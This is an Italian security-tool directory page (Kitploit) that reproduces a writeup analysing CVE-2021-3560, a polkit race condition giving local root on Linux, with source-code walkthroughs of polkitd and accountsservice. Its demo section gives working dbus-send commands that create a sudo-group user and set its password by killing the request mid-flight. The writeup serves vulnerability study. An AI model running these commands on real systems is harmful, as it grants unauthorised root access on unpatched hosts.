Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-3560 — Analisi di CVE-2021-3560 | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2021-3560
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitAnalisi di BinariApprendimento e Formazione
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Analisi di CVE-2021-3560

Vedi Repository
934 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi di elevazione dei privilegi locali tramite condition race CVE-2021-3560 PolKit

[toc]

Riepilogo della vulnerabilità

ID vulnerabilità: CVE-2021-3560

Punteggio vulnerabilità:

Prodotto vulnerabile: linux PolKit (polkitd)

Versione interessata: introdotta nel codice sorgente 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 e versioni successive
  • Debian testing (“bullseye”)
  • Ubuntu 20.04

Condizioni di sfruttamento: linux locale; dbus + polkitd presenti

Effetto dello sfruttamento: elevazione dei privilegi locali

Ottenere il codice sorgente:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

Allestimento dell'ambiente

L'immagine predefinita di ubuntu-20.04.2 può essere riprodotta: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Principio della vulnerabilità

Punto di innesco della vulnerabilità

Prima esaminiamo il codice problematico

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; // imposta il flag di errore dopo un fallimento per qualche motivo
    }
  else
  {
      ··· ···// elaborazione dei dati in caso di successo
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // data viene inizializzato a 0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); // aspetta che il bus termini l'esecuzione, uid e pid siano stati elaborati o che si sia verificato un errore

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; // indipendentemente da tutto, TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

Nella funzione polkit_system_bus_name_get_creds_sync, essa autentica l'identità per certe richieste (la logica specifica verrà dettagliata in seguito). Chiama prima GetConnectionUnixUser e poi GetConnectionUnixProcessID tramite il bus org.freedesktop.DBus. Questi due metodi sono forniti dal bus org.freedesktop.DBus e servono per ottenere il PID e l'UID del processo richiedente. I risultati vengono passati alla funzione callback on_retrieved_unix_uid_pid per l'elaborazione. Quindi la funzione si blocca in attesa che il bus termini l'esecuzione.

Nella funzione on_retrieved_unix_uid_pid si può vedere che, in base al risultato restituito dal bus, imposta se si è verificato un errore (error?) e imposta il flag di errore; se l'esecuzione ha successo, restituisce correttamente l'UID utente o il PID del processo. Ma nella funzione polkit_system_bus_name_get_creds_sync, dopo aver atteso il risultato dal bus (il criterio per considerare completata l'elaborazione è che sia UID che PID siano stati elaborati o che si sia verificato un errore). In altre parole, logicamente ci sono tre possibili risultati dal bus: ottenere UID utente 0 (utente privilegiato); ottenere UID utente diverso da 0 (utente normale); errore. Tuttavia, nell'elaborazione successiva, non viene gestito l'errore: il out_uid da restituire al livello superiore viene impostato direttamente al data.uid restituito dal bus, e ret viene impostato a TRUE:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); // aspetta che il bus termini l'esecuzione, uid e pid siano stati elaborati o che si sia verificato un errore

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; // indipendentemente da tutto, TRUE?

Ma viene trascurato un caso: se il bus DBUS restituisce un errore, la callback imposta il flag di errore e ritorna senza elaborare i dati data, che però sono inizializzati a 0. Ciò fa sì che successivamente out_uid venga impostato a 0, cioè utente privilegiato.

Allora, dove viene utilizzata la funzione difettosa polkit_system_bus_name_get_creds_sync?

Percorso di innesco

Il processo in cui si trova il punto di vulnerabilità è il processo polkitd:

polkit è un set di strumenti a livello applicativo che, mediante la definizione e la verifica di regole di autorizzazione, realizza la comunicazione tra processi con priorità diverse: le decisioni di controllo sono concentrate in un quadro unificato, determinando se un processo a bassa priorità ha diritto di accesso a un processo ad alta priorità.

In breve, è un processo root in esecuzione in background che, tramite comunicazione interprocesso, decide l'autorizzazione quando un processo a bassi privilegi tenta di accedere alle funzionalità fornite da un processo ad alti privilegi. Poiché questo processo si riavvia se si tenta di collegarlo con gdb, possiamo analizzarlo solo a livello di codice sorgente per trovare il percorso di innesco della funzione vulnerabile:

polkitd utilizza ampiamente il framework di comunicazione interprocesso gio DBUS. È possibile consultare il manuale per conoscere in anticipo alcune funzioni importanti.

Ora analizziamo il percorso di innesco della vulnerabilità in polkitd:

  1. Prima di tutto, il main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  // registra un nome di bus
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, // callback quando si accede al bus
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Inserimento nel loop principale degli eventi\n");
      g_main_loop_run (loop); // avvia il loop
      ··· ···
      ··· ···
    }
    
  2. Prima viene registrato un bus chiamato org.freedesktop.PolicyKit1, con tre callback. Ci concentriamo su on_bus_acquired, che viene invocato quando si accede al bus.

  3. Nella funzione on_bus_acquired, viene chiamata direttamente una funzione di registrazione del tipo: .

Cioè, quando un'altra funzione invoca il metodo CheckAuthorization sul bus org.freedesktop.PolicyKit1.Authority, in determinate condizioni (controllare che il DBUS restituisca un errore durante l'ottenimento dell'UID richiedente) influenzerà la correttezza dell'autenticazione di questo metodo. Poiché possiamo direttamente guardare la risposta, il metodo di sfruttamento della vulnerabilità consiste nell'usare account-daemon.

Sfruttamento della vulnerabilità

Analisi generale

Prima di tutto, citiamo questa immagine dell'autore dell'exploit:

image-20220131163536269

Spieghiamo gli elementi nell'immagine:

  • polkitd, dbus-daemon e account-daemon sono tutti processi di servizio in background eseguiti con privilegi di root.
  • dbus-daemon è un "router" per la comunicazione tra processi, il nucleo del framework GIO DBUS menzionato sopra. Nella mia comprensione, diversi processi possono registrare nomi di bus qui, e altri processi che vogliono comunicare con te accedono al nome del bus, all'interfaccia e al nome del metodo per chiamare le funzioni del tuo processo. Le funzioni del processo polkitd descritte sopra registrano un bus in dbus in attesa che altri processi lo chiamino.
  • account-daemon è simile a polkitd, registra il bus org.freedesktop.Accounts in dbus e fornisce una serie di metodi relativi agli account, come l'aggiunta di utenti, l'impostazione delle password, ecc. Inoltre, prima di operazioni come l'aggiunta di un utente, questo processo effettua un'autenticazione dell'utente, utilizzando proprio il metodo vulnerabile CheckAuthorization fornito dal processo polkitd menzionato sopra.
  • dbus-send è un comando; il bus dbus fornisce interfacce di programmazione per le chiamate di comunicazione interprocesso, ma fornisce anche comandi da riga di comando per inviare messaggi direttamente a processi specifici e chiamare i loro metodi.

Quindi l'intero flusso degli eventi dello sfruttamento della vulnerabilità è:

  1. Usare il comando dbus-send per inviare un messaggio al processo account-daemon, chiedendogli di creare un utente amministratore (il metodo CreateUser fornito da questo processo aggiunge per impostazione predefinita un utente amministratore), ma con la nostra identità non possiamo completare questa operazione.
  2. Dopo che il messaggio arriva al processo account-daemon, account-daemon richiederà a polkitd la verifica dei permessi, per approvare l'operazione di aggiunta utente.
  3. polkitd chiederà al bus i permessi dell'utente e il PID del processo che ha originato la richiesta di creazione.
    • Quello che dobbiamo fare è, nell'intervallo di tempo tra l'invio del messaggio e la richiesta di polkitd al bus dei permessi del processo richiedente, killare il processo richiedente (cioè il processo dbus-send).
  4. A questo punto il bus scopre che il processo che richiedeva l'aggiunta dell'utente è scomparso, e restituirà un errore.
  5. Dall'analisi precedente, il punto vulnerabile è che il processo polkitd considera l'errore come successo di default, e imposta l'UID dell'utente a 0, che è l'utente privilegiato. Innesca la vulnerabilità e permette l'operazione.

Analisi del comportamento di comunicazione di account-daemon

Poiché dbus-daemon è solo un processo intermediario, non lo analizzeremo in dettaglio. Ma analizziamo account-daemon, che è un processo chiave nello sfruttamento. Anche questo processo utilizza il framework GIO DBUS. Analizziamo brevemente alcuni punti importanti. Per prima cosa, esaminiamo:

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Qui vengono usate le macro G_DEFINE_TYPE_WITH_CODE e G_IMPLEMENT_INTERFACE per eseguire la funzione daemon_accounts_accounts_iface_init. Il significato di queste due macro è che troveranno l'occasione per eseguire daemon_accounts_accounts_iface_init. In quest'ultima viene registrato il metodo create_user. Esaminiamo direttamente l'implementazione della funzione daemon_create_user:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, // callback
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

In daemon_create_user, viene chiamata daemon_local_check_auth per verificare se l'utente richiedente ha i permessi. Se la chiamata ha successo, viene invocata la callback daemon_create_user_authorized_cb. Qui esaminiamo prima la funzione di autenticazione daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Qui viene chiamata la funzione polkit_authority_check_authorization per autenticare. polkit_authority_check_authorization è una funzione di libreria fornita da libpolkit-gobject-1.so.0, che chiama direttamente il metodo CheckAuthorization sul bus org.freedesktop.PolicyKit1.Authority nel processo polkitd analizzato sopra. Se l'autenticazione ha successo, viene chiamata la callback daemon_create_user_authorized_cb:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { // aggiunge l'utente
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); // aggiunge l'utente al gruppo sudo
        }

        ··· ···
}

Qui è molto chiaro: dopo aver aggiunto correttamente l'utente, lo aggiunge direttamente al gruppo sudo. Quindi alla fine dell'exploit, dopo aver aggiunto l'utente, possiamo usare sudo su root per passare a root.

Ora vediamo una demo di sfruttamento manuale.

Demo

Come utente normale, inviamo direttamente una richiesta di creazione utente a account-daemon usando il comando dbus-send:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Questa richiesta, in un sistema operativo con interfaccia grafica, farà apparire una finestra per inserire la password:

image-20220131153323446

In un terminale a riga di comando come SSH, fallisce direttamente:

image-20220131153521697

Secondo l'idea di sfruttamento sopra, vediamo prima il tempo di esecuzione del comando:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Poi scegliamo di killare il processo circa a metà del tempo di esecuzione, con una probabilità di innescare la vulnerabilità e creare l'utente con successo:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

Eseguendo più volte si può avere successo:

image-20220131154220337

E l'utente è anche nel gruppo sudo:

image-20220131154304858

Poi con lo stesso metodo possiamo aggiungere una password:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 va modificato in base all'UID dell'utente appena creato. La password viene inserita come hash. Quindi si passa all'utente.

Exploit

Qui non abbiamo scritto l'exploit in dettaglio; in pratica basta automatizzare il comando sopra. L'exploit in C su github funziona anche.

hakivvi/CVE-2021-3560

Mitigazioni

Aggiornare all'ultima versione.

Riferimenti

Divulgazione della vulnerabilità (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Scarica lo strumento
polkit_backend_authority_register
  • Nella funzione polkit_backend_authority_register, viene registrato un oggetto interfaccia org.freedesktop.PolicyKit1.Authority, e viene fornita una tabella di callback server_vtable. Il punto di innesco della vulnerabilità si trova in una di queste callback:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, // callback
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); // qui si trova il percorso della funzione vulnerabile
      ··· ···
      ··· ···
    }
    

    Quando un altro processo invoca il metodo CheckAuthorization tramite il bus, viene chiamata la funzione server_handle_check_authorization.

  • Nella funzione server_handle_check_authorization, viene chiamata polkit_backend_authority_check_authorization.

  • Nella funzione polkit_backend_authority_check_authorization, tramite callback viene chiamato klass->check_authorization; quest'ultimo è registrato come polkit_backend_interactive_authority_check_authorization:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // registrato come polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; // inizializzato altrove
    
  • Successivamente è sufficiente seguire l'ordine: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Funzione vulnerabile: polkit_system_bus_name_get_user_sync

  • Anche se il processo dbus-send è stato killato, causando un errore nel rilevamento del bus, account-daemon non ne viene influenzato: dopo che account-daemon ha ricevuto il messaggio, non si preoccupa più se il processo richiedente esiste ancora.
  • Dopo aver ricevuto da polkitd la risposta che autorizza l'aggiunta, account-daemon crea l'utente, completando lo sfruttamento.